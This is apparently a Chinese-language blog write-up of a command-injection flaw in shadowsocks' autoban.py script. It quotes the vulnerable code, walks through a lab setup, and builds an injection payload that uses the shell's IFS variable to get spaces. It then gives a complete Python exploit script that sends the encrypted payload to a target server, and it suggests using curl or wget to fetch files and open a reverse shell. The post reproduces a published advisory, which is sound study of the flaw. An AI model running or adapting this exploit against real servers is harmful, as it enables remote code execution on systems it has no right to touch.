shadowsocks远程命令执行

利用条件:

  1. 靶机上的shadowsocks是从githubclone
  2. 靶机开启了autoban.py脚本

问题出在shadowsocks-master/utils/autoban.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright (c) 2015 clowwindy
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
from __future__ import absolute_import, division, print_function, \
with_statement
import os
import sys
import argparse
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='See README')
parser.add_argument('-c', '--count', default=3, type=int,
help='with how many failure times it should be '
'considered as an attack')
config = parser.parse_args()
ips = {}
banned = set()
for line in sys.stdin:
if 'can not parse header when' in line:
ip = line.split()[-1].split(':')[-2]
if ip not in ips:
ips[ip] = 1
print(ip)
sys.stdout.flush()
else:
ips[ip] += 1
if ip not in banned and ips[ip] >= config.count:
banned.add(ip)
cmd = 'iptables -A INPUT -s %s -j DROP' % ip
print(cmd, file=sys.stderr)
sys.stderr.flush()
os.system(cmd)

从sys.stdin读取输入,然后判断是否包含can not parse header when字样,如果有就进行截断

1
ip = line.split()[-1].split(':')[-2]

split()是采用默认空格为分隔符
当同一个ip出现的次数超过了设定的值(默认为3),就会直接把它代入执行。

1
2
3
4
5
6
if ip not in banned and ips[ip] >= config.count:
banned.add(ip)
cmd = 'iptables -A INPUT -s %s -j DROP' % ip
print(cmd, file=sys.stderr)
sys.stderr.flush()
os.system(cmd)


在靶机192.168.32.51
下载github上的shadowsocks,使用

1
python ./shadowsocks/server.py -p 12345 -k 12345 --log-file /tmp/ss.log -d start

即可开启ss的服务

1
2
3
4
-p 端口
-k 口令
--log-file 日志文件
-d start 后台启动

客户端可用

1
python ./shadowsocks/local.py -s 192.168.32.51 -p 12345 -l 8090 -k 12345

登录

1
2
3
4
-s 服务器地址
-p 服务器端口
-l 本地端口
-k 服务器登录口令

也可采用加载本地配置文件的方式启动

1
python ./shadowsocks/local.py -c /etc/shadowsocks.json

发现客户端对发送内容加密后才发送的。

ss服务器在接收到客户端发送过来的请求后,会对请求进行解析。关键解析函数shadowsocks/common.pyparse_header(data)函数在判断请求目标地址类型为域名后,会将其写入日志文件。

根据前面的分析,payload中是不能出现空格和:的,:可以避免,但是想执行命令,空格是必须的。
这里使用Linux中自带的IFS环境变量产生空格。

1
IFS(Internal Field Seprator),即内部域分隔符,完整定义是“The shell uses the value stored in IFS, which is the space, tab, and newline characters by default, to delimit words for the read and set commands, when parsing output from command substitution, and when performing variable substituioin.”。

1
IFS=$' \t\n'

使用||${},尝试写入一个文件。

1
can not parse header when ||echo${IFS%??}'hacked!'>testhahaha.txt:\n

现在只需模拟客户端,把payload写到请求地址中就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# coding:utf-8
import socket
import sys,os
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '../'))
import cryptor
head = """can not parse header when ||echo${IFS%??}'hacked!'>testhahaha.txt:\n"""
target = ("03%02x%s0050" % (len(head), head.encode('hex'))).decode('hex') # 参考socks5协议, 03表示target是域名,然后两字节域名长度,再是目的地址,最后两字节是port
for i in range(3):
c = cryptor.Cryptor("12345", "aes-256-cfb")
tosend = c.encrypt(target)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.32.51', 12345))
s.send(tosend)
s.close()

把这个py文件放入shadowsocks文件夹中运行即可。、

在服务器端执行

1
python ./shadowsocks/utils/autoban.py < /tmp/ss.log

在当前文件夹下就会生成testhahaha.txt文档,证明命令执行成功

实际使用时,可以结合curlwget命令从服务器下载文件,然后反弹shell。


参考:
https://paper.tuisec.win/detail/63207b0184fe59e
http://foreversong.cn/archives/730
https://x41-dsec.de/lab/advisories/x41-2017-008-shadowsocks/
https://github.com/shadowsocks/shadowsocks/tree/master
SOCKS5协议[rfc1928]
bash ${ } 用法总结